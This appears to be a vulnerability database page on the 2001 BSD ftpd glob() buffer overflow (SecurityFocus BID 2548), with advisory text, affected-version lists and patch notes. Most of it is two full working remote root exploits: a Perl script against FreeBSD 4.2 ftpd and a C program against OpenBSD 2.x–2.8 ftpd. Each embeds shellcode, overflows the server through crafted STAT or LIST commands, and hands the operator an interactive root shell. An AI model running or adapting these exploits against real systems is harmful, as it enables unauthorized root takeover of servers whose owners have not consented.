The BSD ftp daemon and derivatives (such as IRIX ftpd or the ftp daemon shipped with Kerberos 5) contain a number of buffer overflows that may lead to a compromise of root access to malicious users.
 
During parsing operations, the ftp daemon assumes that there can never be more than 512 bytes of user-supplied data. This is because that is usually how much data is read from a socket. Because of this assumption, certain memory copy operations involving user data lack bounds checking.
 
It is possible for users to use metacharacters to expand file/path names through interpretation by glob() and exploit these overflowable conditions. In order to do so, the attacker's ftp account must be able to either create directories or directories with long enough names must exist already.
 
Any attacker to successfully exploit this vulnerability would gain root access on the target host. 

#!/usr/bin/perl

###############################################################################
# glob() ftpd remote root exploit for freebsd 4.2-stable                      #
#                                                                             #
# babcia padlina ltd. / venglin@freebsd.lublin.pl                             #
#                                                                             #
# this version requires user access and writeable homedir without chroot.     #
###############################################################################

require 5.002;
use strict;
use sigtrap;
use Socket;

my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read);

# teso shellcode ripped from 7350obsd

$code  = "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68";
$code .= "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04";
$code .= "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01";
$code .= "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53";
$code .= "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c";
$code .= "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31";
$code .= "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d";
$code .= "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d";
$code .= "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5";
$code .= "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";

#$ret = 0xbfbfeae8; - stos lagoona
#$ret = 0x805baf8; - bss info
$ret = 0x805e23a; # - bss lagoon

if (@ARGV < 3)
{
	print "Usage: $0 <hostname> <username> <password> [align] [offset]\n";
	exit;
}

($host, $user, $pass, $align, $off) = @ARGV;

if (defined($off))
{
	$ret += $off;
}

if (!defined($align))
{
	$align = 1;
}

print "Globulka v1.0 by venglin\@freebsd.lublin.pl\n\n";
print "RET: 0x" . sprintf('%lx', $ret) . "\n";
print "Align: $align\n\n";

$iaddr = inet_aton($host)			or die "Unknown host: $host\n";
$paddr = sockaddr_in(21, $iaddr)		or die "getprotobyname: $!\n";
$proto = getprotobyname('tcp')			or die "getprotobyname: $!\n";

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)	or die "socket: $!\n";
connect(SOCKET, $paddr)				or die "connect: $!\n";

do
{
	$recvbuf = <SOCKET>;
}
while($recvbuf =~ /^220- /);

print $recvbuf;

if ($recvbuf !~ /^220 .+/)
{
	die "Exploit failed.\n";
}

send(SOCKET, "USER $user\r\n", 0)		or die "send: $!\n";
$recvbuf = <SOCKET>;

if ($recvbuf !~ /^(331|230) .+/)
{
	print $recvbuf;
	die "Exploit failed.\n";
}

send(SOCKET, "PASS $pass\r\n", 0)		or die "send: $!\n";
$recvbuf = <SOCKET>;

if ($recvbuf !~ /^230 .+/)
{
	print $recvbuf;
	die "Exploit failed.\n";
}
else
{
	print "Logged in as $user/$pass. Sending evil STAT command.\n\n";
}

send(SOCKET, "MKD " . "A"x255 . "\r\n", 0)		or die "send: $!\n";
$recvbuf = <SOCKET>;

if ($recvbuf !~ /^(257|550) .+/)
{
	print $recvbuf;
	die "Exploit failed.\n";
}

send(SOCKET, "STAT A*/../A*/../A*/" . "\x90" x (90+$align) . $code .
	pack('l', $ret) x 30 . "\r\n", 0)		or die "send: $!\n";

sleep 1;

send(SOCKET, "id\n", 0) 			or die "send: $!\n";
$recvbuf = <SOCKET>;

if ($recvbuf !~ /^uid=.+/)
{
	die "Exploit failed.\n";
}
else
{
	print $recvbuf;
}

vec($rin, fileno(STDIN), 1) = 1;
vec($rin, fileno(SOCKET), 1) = 1;

for(;;)
{
	$read = select($rout=$rin, undef, undef, undef);
	if (vec($rout, fileno(STDIN), 1) == 1)
	{
		if (sysread(STDIN, $recvbuf, 1024) == 0)
		{
			exit;
		}
		send(SOCKET, $recvbuf, 0);
	}

	if (vec($rout, fileno(SOCKET), 1) == 1)
	{
		if (sysread(SOCKET, $recvbuf, 1024) == 0)
		{
			exit;
		}
		syswrite(STDIN, $recvbuf, 1024);
	}
}

close SOCKET;

exit;

-- 		

- 漏洞信息 (20733)

OpenBSD 2.x-2.8 ftpd glob() Buffer Overflow (EDBID:20733)
openbsd remote
2001-04-16 Verified
0 Elias Levy
N/A [点击下载]
source: http://www.securityfocus.com/bid/2548/info
  
  
The BSD ftp daemon and derivatives (such as IRIX ftpd or the ftp daemon shipped with Kerberos 5) contain a number of buffer overflows that may lead to a compromise of root access to malicious users.
  
During parsing operations, the ftp daemon assumes that there can never be more than 512 bytes of user-supplied data. This is because that is usually how much data is read from a socket. Because of this assumption, certain memory copy operations involving user data lack bounds checking.
  
It is possible for users to use metacharacters to expand file/path names through interpretation by glob() and exploit these overflowable conditions. In order to do so, the attacker's ftp account must be able to either create directories or directories with long enough names must exist already.
  
Any attacker to successfully exploit this vulnerability would gain root access on the target host. 

/*
OpenBSD 2.x - 2.8 ftpd exploit.
  It is possible to exploit an anonymous ftp without write permission
  under certain circumstances. One is most likely to succeed if there
  is a single directory somewhere with more than 16 characters in its
  name.
  Of course, if one has write permissions, one could easily create
  such a directory.
  My return values aren't that good. Find your own.
  Patch is available at http://www.openbsd.org/errata.html
Example:
  ftp> pwd
  257 "/test" is current directory.
  ftp> dir
  229 Entering Extended Passive Mode (|||12574|)
  150 Opening ASCII mode data connection for '/bin/ls'.
  total 2
  drwxr-xr-x  2 1000  0  512 Apr 14 14:14 12345678901234567
  226 Transfer complete.
.....
  $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
  // 230 Guest login ok, access restrictions apply.
  // 250 CWD command successful.
  retaddr = dfbeb970
  Press enter..
  remember to remove the "adfa"-dir
  id
  uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
The shellcode basically does:
  seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
  chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
    chdir("..");
  chroot(".."); execve("/bin//sh", ..);
Credits:
  COVERT for their advisory.
  The OpenBSD devteam for a great OS.
  beercan for letting me test this on his OpenBSD 2.8-RELEASE
Author:
  Tomas Kindahl <stok@codefactory.se>
  Stok@{irc,ef}net
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

extern char *optarg;
static int debug;
int cflag, lflag, sflag;

/* The execve-part was stolen from "predator" */
char shellcode[] = 
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x58\x50\x66\x68\x2e\x2e\x89\xe1"
"\x50\x51\x50\xb0\x05\xcd\x80\x89"
"\xc3\x58\x50\x68\x61\x64\x66\x61"
"\x89\xe2\x66\x68\x6d\x01\x52\x50"
"\xb0\x88\xcd\x80\xb0\x3d\xcd\x80"
"\x53\x50\xb0\x01\x83\xc0\x0c\xcd"
"\x80\x51\x50\x31\xc9\xb1\x64\xb0"
"\x0c\xcd\x80\xe2\xfa\xb0\x3d\xcd"
"\x80\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x50\x54\x53\xb0\x3b\x50"
"\xcd\x80\xc3";

#define USER "USER ftp\r\n"
#define PASS "PASS -user@\r\n"

void usage(const char *);
void docmd(int s, const char *cmd, int print);
void communicate(int s);

int main(int argc, char *argv[])
{
  char expbuf[512] = "LIST ", *basedir, option;
  char commandbuf[512] = "", *hostname;
  int cnt, dirlen, explen, sendlen;
  int s, port = 21, pad;
  long retaddr;
  struct sockaddr_in sin;
  struct hostent *he;

  while((option = getopt(argc, argv, "dc:l:p:s:")) != -1)
    switch(option)
      {
      case 'd':
        debug++;
        break;
      case 'c':
        cflag = 1;
        basedir = optarg;
        break;
      case 'l':
        lflag = 1;
        dirlen = atoi(optarg);
        if(dirlen < 16)
          {
            usage(argv[0]);
            exit(0);
          }
        break;
      case 'p':
        port = atoi(optarg);
        break;
      case 's':
        sflag = 1;
        retaddr = strtoul(optarg, 0, 0);
        break;
      default:
        usage(argv[0]);
        exit(0);
      }

  if(!cflag || !lflag)
    {
      usage(argv[0]);
      exit(0);
    }

  if(argc - optind == 1)
    hostname = argv[optind];
  else
    {
      usage(argv[0]);
      exit(0);
    }

  if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("socket");
      exit(1);
    }

  if((he = gethostbyname(hostname)) == NULL)
    {
      herror(hostname);
      exit(0);
    }
  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);
  memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
  if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
    {
      perror("connect");
      exit(0);
    }

  if(debug)
    fprintf(stderr, "// basedir = \"%s\"\n", basedir);

  /* "untrusted input"? */
  for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
    strcat(expbuf, "*/../");
  strcat(expbuf, "*/");
  if(debug)
    fprintf(stderr, "// expbuf = \"%s\"\n", expbuf);

  explen = cnt*(dirlen+4) + dirlen + 1;
  if(debug)
    fprintf(stderr, "// explen = %d\n", explen);

  sendlen = strlen(expbuf);
  if(debug)
    fprintf(stderr, "// sendlen = %d\n", sendlen);

  docmd(s, "", 0);

  docmd(s, USER, 0);
  docmd(s, PASS, 1);

  snprintf(commandbuf, sizeof(commandbuf), "CWD %s\r\n", basedir);
  docmd(s, commandbuf, 1);


/*************************/

  pad = 1027 - explen;
  if(debug)
    fprintf(stderr, "// pad = %d\n", pad);

  for(; pad >= 0; pad--)
    strcat(expbuf, "x");

  /* return address */
  if(!sflag)
    {
      switch(dirlen)
        {
        case 16:
          retaddr = 0xdfbeab60;
        case 26:
          retaddr = 0xdfbefe40;
        default:
          /* I don't have the patience to investigate this. */
          retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
        }
      retaddr+=20;
    }

  fprintf(stderr, "retaddr = %.8lx\n", retaddr);
  /* endian dependant */
  strncat(expbuf, (char *) &retaddr, 4);

  for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
    strcat(expbuf, "\x90");

  strcat(expbuf, shellcode);

  strcat(expbuf, "\r\n");
/*************************/

  fprintf(stderr, "Press enter.."); fflush(stderr);
  fgets(commandbuf, sizeof(commandbuf)-1, stdin);

  docmd(s, expbuf, 0);

  fprintf(stderr, "remember to remove the \"adfa\"-dir\n");
  communicate(s);

  return 0;
}

void usage(const char *s)
{
  fprintf(stderr, "Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostname\n", s);
}

void docmd(int s, const char *cmd, int print)
{
  char uglybuf[1024];
  int len;
  fd_set rfds;
  struct timeval tv;

  len = strlen(cmd);
  if(debug)
    {
      write(STDERR_FILENO, "\\\\ ", 3);
      write(STDERR_FILENO, cmd, len);
    }
  if(send(s, cmd, len, 0) != len)
    {
      perror("send");
      exit(0);
    }

  FD_ZERO(&rfds);
  FD_SET(s, &rfds);
  tv.tv_sec = 1;
  tv.tv_usec = 0;
  select(s+1, &rfds, NULL, NULL, &tv);
  if(FD_ISSET(s, &rfds))
    {
      if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
        {
          perror("recv");
          exit(0);
        }
      if(len == 0)
        {
          fprintf(stderr, "EOF on socket. Sorry.\n");
          exit(0);
        }
      if(debug || print)
        {
          write(STDERR_FILENO, "// ", 3);
          write(STDERR_FILENO, uglybuf, len);
        }
    }
}

void communicate(int s)
{
  char buf[1024];
  int len;
  fd_set rfds;

  while(1)
    {
      FD_ZERO(&rfds);
      FD_SET(STDIN_FILENO, &rfds);
      FD_SET(s, &rfds);
      select(s+1, &rfds, NULL, NULL, NULL);
      if(FD_ISSET(STDIN_FILENO, &rfds))
        {
          if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
            return;
          if(send(s, buf, len, 0) == -1)
            return;
        }
      if(FD_ISSET(s, &rfds))
        {
          if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
            return;
          if(write(STDOUT_FILENO, buf, len) == -1)
            return;
        }
    }
}		

- 漏洞信息

537
BSD Based FTP Server Multiple glob Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Workaround, Patch / RCS, Upgrade
Exploit Public Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2001-04-09 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Multiple Vendor BSD ftpd glob() Buffer Overflow Vulnerabilities
Boundary Condition Error 2548
Yes No
2001-04-09 12:00:00 2009-07-11 06:06:00
This vulnerability was discovered by Anthony Osborne and John McDonald of NAI's COVERT labs and published on April 9, 2001.

- 受影响的程序版本

SGI IRIX 6.5.11
SGI IRIX 6.5.10
SGI IRIX 6.5.8
SGI IRIX 6.5.7
SGI IRIX 6.5.6
SGI IRIX 6.5.5
SGI IRIX 6.5.4
SGI IRIX 6.5.3 m
SGI IRIX 6.5.3 f
SGI IRIX 6.5.3
SGI IRIX 6.5.2 m
SGI IRIX 6.5.1
SGI IRIX 6.5
OpenBSD OpenBSD 2.8
OpenBSD OpenBSD 2.7
OpenBSD OpenBSD 2.6
OpenBSD OpenBSD 2.5
OpenBSD OpenBSD 2.4
OpenBSD OpenBSD 2.3
NetBSD NetBSD 1.5
NetBSD NetBSD 1.4.3
NetBSD NetBSD 1.4.2
NetBSD NetBSD 1.4.1
NetBSD NetBSD 1.4
NetBSD NetBSD 1.3.3
NetBSD NetBSD 1.3.2
NetBSD NetBSD 1.3.1
NetBSD NetBSD 1.3
NetBSD NetBSD 1.2.1
MIT Kerberos 5 1.2.2
+ MandrakeSoft Multi Network Firewall 2.0
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.2
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1 alpha
+ RedHat Linux 7.1
+ RedHat Linux 7.0 i386
+ RedHat Linux 7.0 alpha
+ RedHat Linux 7.0
MIT Kerberos 5 1.2.1
MIT Kerberos 5 1.2
MIT Kerberos 5 1.1.1
+ Red Hat Linux 6.2
- RedHat Linux 7.1 ia64
- RedHat Linux 7.1 i386
- RedHat Linux 7.1 alpha
- RedHat Linux 7.1
- RedHat Linux 7.0 i386
- RedHat Linux 7.0 alpha
- RedHat Linux 7.0
+ RedHat Linux 6.2 sparc
+ RedHat Linux 6.2 i386
+ RedHat Linux 6.2 alpha
FreeBSD FreeBSD 4.2
FreeBSD FreeBSD 4.1.1
FreeBSD FreeBSD 4.1
FreeBSD FreeBSD 4.0
FreeBSD FreeBSD 3.5.1
FreeBSD FreeBSD 3.5
FreeBSD FreeBSD 3.4
FreeBSD FreeBSD 3.3
FreeBSD FreeBSD 3.2
FreeBSD FreeBSD 3.1
FreeBSD FreeBSD 3.0
FreeBSD FreeBSD 2.2.8
FreeBSD FreeBSD 2.2.6
FreeBSD FreeBSD 2.2.5
FreeBSD FreeBSD 2.2.4
FreeBSD FreeBSD 2.2.3
FreeBSD FreeBSD 2.2.2
FreeBSD FreeBSD 2.2
Compaq Tru64 5.1 a PK1 (BL1)
Compaq Tru64 5.1 a
Compaq Tru64 5.1 PK4 (BL18)
Compaq Tru64 5.1 PK3 (BL17)
Compaq Tru64 5.1
Compaq Tru64 5.0 f
Compaq Tru64 5.0 a PK3 (BL17)
Compaq Tru64 5.0 a
Compaq Tru64 5.0 PK4 (BL18)
Compaq Tru64 5.0 PK4 (BL17)
Compaq Tru64 5.0
Compaq Tru64 4.0 g PK3 (BL17)
Compaq Tru64 4.0 g
Compaq Tru64 4.0 f PK7 (BL18)
Compaq Tru64 4.0 f PK6 (BL17)
Compaq Tru64 4.0 f
Compaq Tru64 5.1 a PK3 (BL3)
Compaq Tru64 5.1 a PK2 (BL2)
Compaq Tru64 5.1 PK5 (BL19)

- 不受影响的程序版本

Compaq Tru64 5.1 a PK3 (BL3)
Compaq Tru64 5.1 a PK2 (BL2)
Compaq Tru64 5.1 PK5 (BL19)

- 漏洞讨论

The BSD ftp daemon and derivatives (such as IRIX ftpd or the ftp daemon shipped with Kerberos 5) contain a number of buffer overflows that may lead to a compromise of root access to malicious users.

During parsing operations, the ftp daemon assumes that there can never be more than 512 bytes of user-supplied data. This is because that is usually how much data is read from a socket. Because of this assumption, certain memory copy operations involving user data lack bounds checking.

It is possible for users to use metacharacters to expand file/path names through interpretation by glob() and exploit these overflowable conditions. In order to do so, the attacker's ftp account must be able to either create directories or directories with long enough names must exist already.

Any attacker to successfully exploit this vulnerability would gain root access on the target host.

- 漏洞利用

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

A number of exploits have been published.

- 解决方案

MandrakeSoft released and advisory stating that the version of Proftpd distributed as part of Mandrake Linux is not vulnerable to glob() related buffer overflows.

OpenBSD has released a patch for the OpenBSD ftp daemon.

MIT has released source code patches for the ftp daemon shipped with Kerberos 5 1.2.2. Networks running older versions of Kerberos 5 should upgrade to 1.2.2, and apply the patch (listed below).

RedHat has released upgraded versions of their Kerberos 5 packages.

Immunix has released upgraded versions of their Kerberos 5 packages.

HP/Compaq has released fixes for Tru64.


MIT Kerberos 5 1.1.1

MIT Kerberos 5 1.2.2

OpenBSD OpenBSD 2.8

FreeBSD FreeBSD 3.0

FreeBSD FreeBSD 3.1

FreeBSD FreeBSD 3.2

FreeBSD FreeBSD 3.3

FreeBSD FreeBSD 3.4

FreeBSD FreeBSD 3.5

FreeBSD FreeBSD 3.5.1

FreeBSD FreeBSD 4.0

Compaq Tru64 4.0 g PK3 (BL17)

Compaq Tru64 4.0 f PK7 (BL18)

FreeBSD FreeBSD 4.1

FreeBSD FreeBSD 4.1.1

FreeBSD FreeBSD 4.2

Compaq Tru64 5.0 a PK3 (BL17)

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站